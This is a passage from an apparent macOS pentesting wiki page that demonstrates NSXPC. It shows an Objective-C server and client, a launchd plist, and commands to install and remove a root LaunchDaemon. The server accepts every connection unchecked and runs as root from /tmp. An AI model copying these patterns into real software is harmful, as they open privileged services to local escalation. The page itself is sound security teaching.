- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
    newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];

    MyXPCObject *my_object = [MyXPCObject new];

    newConnection.exportedObject = my_object;

    [newConnection resume];
    return YES;
}
@end

int main(void) {

    NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];

    id <NSXPCListenerDelegate> delegate = [MyDelegate new];
    listener.delegate = delegate;
    [listener resume];

    sleep(10); // Fake something is done and then it ends
}

{% endtab %}

{% tab title="oc_xpc_client.m" %}

// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

int main(void) {
    NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
    connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
    [connection resume];

    [[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
        NSLog(@"Received response: %@", response);
    }];

    [[NSRunLoop currentRunLoop] run];

    return 0;
}

{% endtab %}

{% tab title="Untitled" %}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.svcoc</string>
<key>MachServices</key>
    <dict>
        <key>xyz.hacktricks.svcoc</key>
        <true/>
    </dict>
<key>Program</key>
    <string>/tmp/oc_xpc_server</string>
    <key>ProgramArguments</key>
    <array>
        <string>/tmp/oc_xpc_server</string>
    </array>
</dict>
</plist>

{% endtab %} {% endtabs %}

# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client

# Save server on it's location
cp oc_xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist

# Call client
./oc_xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server

References

• https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html

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